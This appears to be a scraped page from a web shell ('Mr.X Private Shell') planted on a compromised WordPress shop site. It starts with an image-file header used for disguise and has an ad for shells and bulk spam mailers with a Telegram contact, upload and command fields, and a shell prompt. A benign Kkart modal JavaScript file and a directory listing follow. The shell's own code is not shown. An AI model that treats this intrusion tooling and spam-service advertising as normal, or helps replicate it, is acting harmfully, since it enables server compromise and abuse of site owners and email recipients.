����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
/*global jQuery, Backbone, _ */
( function( $, Backbone, _ ) {
	'use strict';

	/**
	 * Kkart Backbone Modal plugin
	 *
	 * @param {object} options
	 */
	$.fn.KKARTBackboneModal = function( options ) {
		return this.each( function() {
			( new $.KKARTBackboneModal( $( this ), options ) );
		});
	};

	/**
	 * Initialize the Backbone Modal
	 *
	 * @param {object} element [description]
	 * @param {object} options [description]
	 */
	$.KKARTBackboneModal = function( element, options ) {
		// Set settings
		var settings = $.extend( {}, $.KKARTBackboneModal.defaultOptions, options );

		if ( settings.template ) {
			new $.KKARTBackboneModal.View({
				target: settings.template,
				string: settings.variable
			});
		}
	};

	/**
	 * Set default options
	 *
	 * @type {object}
	 */
	$.KKARTBackboneModal.defaultOptions = {
		template: '',
		variable: {}
	};

	/**
	 * Create the Backbone Modal
	 *
	 * @return {null}
	 */
	$.KKARTBackboneModal.View = Backbone.View.extend({
		tagName: 'div',
		id: 'kkart-backbone-modal-dialog',
		_target: undefined,
		_string: undefined,
		events: {
			'click .modal-close': 'closeButton',
			'click #btn-ok'     : 'addButton',
			'touchstart #btn-ok': 'addButton',
			'keydown'           : 'keyboardActions'
		},
		resizeContent: function() {
			var $content  = $( '.kkart-backbone-modal-content' ).find( 'article' );
			var max_h     = $( window ).height() * 0.75;

			$content.css({
				'max-height': max_h + 'px'
			});
		},
		initialize: function( data ) {
			var view     = this;
			this._target = data.target;
			this._string = data.string;
			_.bindAll( this, 'render' );
			this.render();

			$( window ).resize(function() {
				view.resizeContent();
			});
		},
		render: function() {
			var template = wp.template( this._target );

			this.$el.append(
				template( this._string )
			);

			$( document.body ).css({
				'overflow': 'hidden'
			}).append( this.$el );

			this.resizeContent();
			this.$( '.kkart-backbone-modal-content' ).attr( 'tabindex' , '0' ).focus();

			$( document.body ).trigger( 'init_tooltips' );

			$( document.body ).trigger( 'kkart_backbone_modal_loaded', this._target );
		},
		closeButton: function( e ) {
			e.preventDefault();
			$( document.body ).trigger( 'kkart_backbone_modal_before_remove', this._target );
			this.undelegateEvents();
			$( document ).off( 'focusin' );
			$( document.body ).css({
				'overflow': 'auto'
			});
			this.remove();
			$( document.body ).trigger( 'kkart_backbone_modal_removed', this._target );
		},
		addButton: function( e ) {
			$( document.body ).trigger( 'kkart_backbone_modal_response', [ this._target, this.getFormData() ] );
			this.closeButton( e );
		},
		getFormData: function() {
			var data = {};

			$( document.body ).trigger( 'kkart_backbone_modal_before_update', this._target );

			$.each( $( 'form', this.$el ).serializeArray(), function( index, item ) {
				if ( item.name.indexOf( '[]' ) !== -1 ) {
					item.name = item.name.replace( '[]', '' );
					data[ item.name ] = $.makeArray( data[ item.name ] );
					data[ item.name ].push( item.value );
				} else {
					data[ item.name ] = item.value;
				}
			});

			return data;
		},
		keyboardActions: function( e ) {
			var button = e.keyCode || e.which;

			// Enter key
			if (
				13 === button &&
				! ( e.target.tagName && ( e.target.tagName.toLowerCase() === 'input' || e.target.tagName.toLowerCase() === 'textarea' ) )
			) {
				this.addButton( e );
			}

			// ESC key
			if ( 27 === button ) {
				this.closeButton( e );
			}
		}
	});

}( jQuery, Backbone, _ ));

Filemanager

Name Type Size Permission Actions
api-keys.js File 3.82 KB 0644
api-keys.min.js File 2.15 KB 0644
backbone-modal.js File 3.48 KB 0644
backbone-modal.min.js File 2.19 KB 0644
kkart-clipboard.js File 858 B 0644
kkart-clipboard.min.js File 327 B 0644
kkart-enhanced-select.js File 9.05 KB 0644
kkart-enhanced-select.min.js File 5.24 KB 0644
kkart-orders.js File 1.94 KB 0644
kkart-orders.min.js File 1.13 KB 0644
kkart-product-export.js File 3.54 KB 0644
kkart-product-export.min.js File 1.93 KB 0644
kkart-product-import.js File 2.58 KB 0644
kkart-product-import.min.js File 1.45 KB 0644
kkart-setup.js File 10 KB 0644
kkart-setup.min.js File 6.37 KB 0644
kkart-shipping-classes.js File 7.96 KB 0644
kkart-shipping-classes.min.js File 4.46 KB 0644
kkart-shipping-zone-methods.js File 15.1 KB 0644
kkart-shipping-zone-methods.min.js File 8.52 KB 0644
kkart-shipping-zones.js File 8.92 KB 0644
kkart-shipping-zones.min.js File 4.74 KB 0644
kkart_admin.js File 13.45 KB 0644
kkart_admin.min.js File 8.07 KB 0644
marketplace-suggestions.js File 15.54 KB 0644
marketplace-suggestions.min.js File 6.11 KB 0644
meta-boxes-coupon.js File 1.98 KB 0644
meta-boxes-coupon.min.js File 1.15 KB 0644
meta-boxes-order.js File 45.57 KB 0644
meta-boxes-order.min.js File 27.96 KB 0644
meta-boxes-product-variation.js File 32.37 KB 0644
meta-boxes-product-variation.min.js File 17.56 KB 0644
meta-boxes-product.js File 21.64 KB 0644
meta-boxes-product.min.js File 13.13 KB 0644
meta-boxes.js File 2.47 KB 0644
meta-boxes.min.js File 1.71 KB 0644
network-orders.js File 2.29 KB 0644
network-orders.min.js File 1.19 KB 0644
product-ordering.js File 2.25 KB 0644
product-ordering.min.js File 1.47 KB 0644
quick-edit.js File 6.73 KB 0644
quick-edit.min.js File 4.33 KB 0644
reports.js File 6.31 KB 0644
reports.min.js File 3.17 KB 0644
settings-views-html-settings-tax.js File 11.98 KB 0644
settings-views-html-settings-tax.min.js File 6 KB 0644
settings.js File 5.36 KB 0644
settings.min.js File 3.55 KB 0644
system-status.js File 3.49 KB 0644
system-status.min.js File 1.92 KB 0644
term-ordering.js File 4.17 KB 0644
term-ordering.min.js File 2.19 KB 0644
users.js File 3.76 KB 0644
users.min.js File 1.84 KB 0644